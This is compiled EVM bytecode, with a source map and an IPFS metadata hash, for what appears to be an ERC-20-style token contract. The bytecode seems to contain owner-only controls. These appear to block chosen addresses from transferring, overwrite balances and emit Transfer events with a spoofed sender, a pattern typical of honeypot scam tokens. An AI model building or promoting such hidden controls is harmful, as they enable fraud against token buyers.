00600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610ff557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ebb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0991906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f5e9190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe49190611613565b60405180910390a3600190506111aa565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111a957816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561109157600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110df91906117e1565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111349190611815565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111989190611613565b60405180910390a3600190506111aa565b5b92915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361124a5780600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036112fb576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60016020528060005260406000206000915090505481565b6003602052816000526040600020602052806000526040600020600091509150505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361144057600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113e757600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600081519050919050565b600082825260208201905092915050565b60005b8381101561147d578082015181840152602081019050611462565b60008484015250505050565b6000601f19601f8301169050919050565b60006114a582611443565b6114af818561144e565b93506114bf81856020860161145f565b6114c881611489565b840191505092915050565b600060208201905081810360008301526114ed818461149a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611525826114fa565b9050919050565b6115358161151a565b811461154057600080fd5b50565b6000813590506115528161152c565b92915050565b6000819050919050565b61156b81611558565b811461157657600080fd5b50565b60008135905061158881611562565b92915050565b600080604083850312156115a5576115a46114f5565b5b60006115b385828601611543565b92505060206115c485828601611579565b9150509250929050565b60008115159050919050565b6115e3816115ce565b82525050565b60006020820190506115fe60008301846115da565b92915050565b61160d81611558565b82525050565b60006020820190506116286000830184611604565b92915050565b600080600060608486031215611647576116466114f5565b5b600061165586828701611543565b935050602061166686828701611543565b925050604061167786828701611579565b9150509250925092565b600060ff82169050919050565b61169781611681565b82525050565b60006020820190506116b2600083018461168e565b92915050565b6000602082840312156116ce576116cd6114f5565b5b60006116dc84828501611543565b91505092915050565b6000602082840312156116fb576116fa6114f5565b5b600061170984828501611579565b91505092915050565b60008060408385031215611729576117286114f5565b5b600061173785828601611543565b925050602061174885828601611543565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179957607f821691505b6020821081036117ac576117ab611752565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117ec82611558565b91506117f783611558565b925082820390508181111561180f5761180e6117b2565b5b92915050565b600061182082611558565b915061182b83611558565b9250828201905080821115611843576118426117b2565b5b9291505056fea2646970667358221220c758ae51b4b7620710d08828dda5ca994b5115982b0883cfb792bfbf73fbd89c64736f6c63430008110033

1515:3323:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1756:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3324:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1887:67;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4174:663;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1854:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1546:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2473:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3682:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2624:135;;;:::i;:::-;;3545:125;;;:::i;:::-;;1800:47;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2773:539;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4054:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3793:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1592:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1675:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3904:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1756:37;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3324:209::-;3389:12;3451:5;3418:9;:21;3428:10;3418:21;;;;;;;;;;;;;;;:30;3440:7;3418:30;;;;;;;;;;;;;;;:38;;;;3493:7;3472:36;;3481:10;3472:36;;;3502:5;3472:36;;;;;;:::i;:::-;;;;;;;;3526:4;3519:11;;3324:209;;;;:::o;1887:67::-;;;;:::o;4174:663::-;4253:12;4292:7;;;;;;;;;;;4284:15;;:4;:15;;;4281:251;;4330:3;:9;4334:4;4330:9;;;;;;;;;;;;;;;;4321:5;:18;;4313:27;;;;;;4368:9;:15;4378:4;4368:15;;;;;;;;;;;;;;;:27;4384:10;4368:27;;;;;;;;;;;;;;;;4359:5;:36;;4351:45;;;;;;4420:5;4407:3;:9;4411:4;4407:9;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;4449:5;4438:3;:7;4442:2;4438:7;;;;;;;;;;;;;;;;:16;;;;;;;:::i;:::-;;;;;;;;4497:2;4471:36;;4481:14;;;;;;;;;;;4471:36;;;4501:5;4471:36;;;;;;:::i;:::-;;;;;;;;4525:4;4518:11;;;;4281:251;4552:2;:8;4555:4;4552:8;;;;;;;;;;;;;;;;;;;;;;;;;4551:9;:20;;;;;4565:2;:6;4568:2;4565:6;;;;;;;;;;;;;;;;;;;;;;;;;4564:7;4551:20;4548:288;;;4601:3;:9;4605:4;4601:9;;;;;;;;;;;;;;;;4592:5;:18;;4584:27;;;;;;4639:9;:15;4649:4;4639:15;;;;;;;;;;;;;;;:27;4655:10;4639:27;;;;;;;;;;;;;;;;4630:5;:36;;4622:45;;;;;;4691:5;4678:3;:9;4682:4;4678:9;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;4718:5;4707:3;:7;4711:2;4707:7;;;;;;;;;;;;;;;;:16;;;;;;;:::i;:::-;;;;;;;;4765:5;4734:9;:15;4744:4;4734:15;;;;;;;;;;;;;;;:27;4750:10;4734:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;4801:2;4786:25;;4795:4;4786:25;;;4805:5;4786:25;;;;;;:::i;:::-;;;;;;;;4829:4;4822:11;;;;4548:288;4174:663;;;;;;:::o;1854:26::-;;;;;;;;;;;;;:::o;1546:39::-;;;;;;;;;;;;;;;;;:::o;2473:143::-;2558:5;;;;;;;;;;;2544:19;;:10;:19;;;2536:28;;;;;;2597:7;2576:37;;2593:1;2576:37;;;2606:6;2576:37;;;;;;:::i;:::-;;;;;;;;2473:143;;:::o;3682:99::-;3739:7;3766:3;:12;3770:7;3766:12;;;;;;;;;;;;;;;;3759:19;;3682:99;;;:::o;2624:135::-;2689:5;;;;;;;;;;;2675:19;;:10;:19;;;2667:28;;;;;;2726:5;;;;;;;;;;;2707:25;;;;;;;;;;;;2755:1;2739:5;;:18;;;;;;;;;;;;;;;;;;2624:135::o;3545:125::-;3600:7;;;;;;;;;;;3586:21;;:10;:21;;;3583:86;;3640:5;:17;3646:10;3640:17;;;;;;;;;;;;;;;;3622:3;:15;3626:10;3622:15;;;;;;;;;;;;;;;:35;;;;3583:86;3545:125::o;1800:47::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2773:539::-;2834:12;2893:7;;;;;;;;;;;2879:21;;:10;:21;;;2876:213;;2941:5;2922:3;:15;2926:10;2922:15;;;;;;;;;;;;;;;;:24;;2914:33;;;;;;2977:5;2958:3;:15;2962:10;2958:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;3006:5;2995:3;:7;2999:2;2995:7;;;;;;;;;;;;;;;;:16;;;;;;;:::i;:::-;;;;;;;;3054:2;3028:36;;3038:14;;;;;;;;;;;3028:36;;;3058:5;3028:36;;;;;;:::i;:::-;;;;;;;;3082:4;3075:11;;;;2876:213;3105:2;:14;3108:10;3105:14;;;;;;;;;;;;;;;;;;;;;;;;;3101:210;;3159:5;3140:3;:15;3144:10;3140:15;;;;;;;;;;;;;;;;:24;;3132:33;;;;;;3195:5;3176:3;:15;3180:10;3176:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;3224:5;3213:3;:7;3217:2;3213:7;;;;;;;;;;;;;;;;:16;;;;;;;:::i;:::-;;;;;;;;3276:2;3255:31;;3264:10;3255:31;;;3280:5;3255:31;;;;;;:::i;:::-;;;;;;;;3304:4;3297:11;;;;3101:210;2773:539;;;;;:::o;4054:108::-;4115:7;;;;;;;;;;;4101:21;;:10;:21;;;4098:62;;4157:1;4137:5;:17;4143:10;4137:17;;;;;;;;;;;;;;;:21;;;;4098:62;4054:108;:::o;3793:101::-;3855:7;;;;;;;;;;;3841:21;;:10;:21;;;3838:55;;3886:5;3877:2;:6;3880:2;3877:6;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;;;;;;;3838:55;3793:101;:::o;1592:41::-;;;;;;;;;;;;;;;;;:::o;1675:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3904:135::-;3964:7;;;;;;;;;;;3950:21;;:10;:21;;;3947:91;;3995:2;:6;3998:2;3995:6;;;;;;;;;;;;;;;;;;;;;;;;;3994:7;3986:16;;;;;;4022:4;4013:2;:6;4016:2;4013:6;;;;;;;;;;;;;;;;:13;;;;;;;;;;;;;;;;;;3947:91;3904:135;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:474::-;5591:6;5599;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5901:2;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5872:118;5523:474;;;;;:::o;6003:180::-;6051:77;6048:1;6041:88;6148:4;6145:1;6138:15;6172:4;6169:1;6162:15;6189:320;6233:6;6270:1;6264:4;6260:12;6250:22;;6317:1;6311:4;6307:12;6338:18;6328:81;;6394:4;6386:6;6382:17;6372:27;;6328:81;6456:2;6448:6;6445:14;6425:18;6422:38;6419:84;;6475:18;;:::i;:::-;6419:84;6240:269;6189:320;;;:::o;6515:180::-;6563:77;6560:1;6553:88;6660:4;6657:1;6650:15;6684:4;6681:1;6674:15;6701:194;6741:4;6761:20;6779:1;6761:20;:::i;:::-;6756:25;;6795:20;6813:1;6795:20;:::i;:::-;6790:25;;6839:1;6836;6832:9;6824:17;;6863:1;6857:4;6854:11;6851:37;;;6868:18;;:::i;:::-;6851:37;6701:194;;;;:::o;6901:191::-;6941:3;6960:20;6978:1;6960:20;:::i;:::-;6955:25;;6994:20;7012:1;6994:20;:::i;:::-;6989:25;;7037:1;7034;7030:9;7023:16;;7058:3;7055:1;7052:10;7049:36;;;7065:18;;:::i;:::-;7049:36;6901:191;;;;:::o

ipfs://c758ae51b4b7620710d08828dda5ca994b5115982b0883cfb792bfbf73fbd89c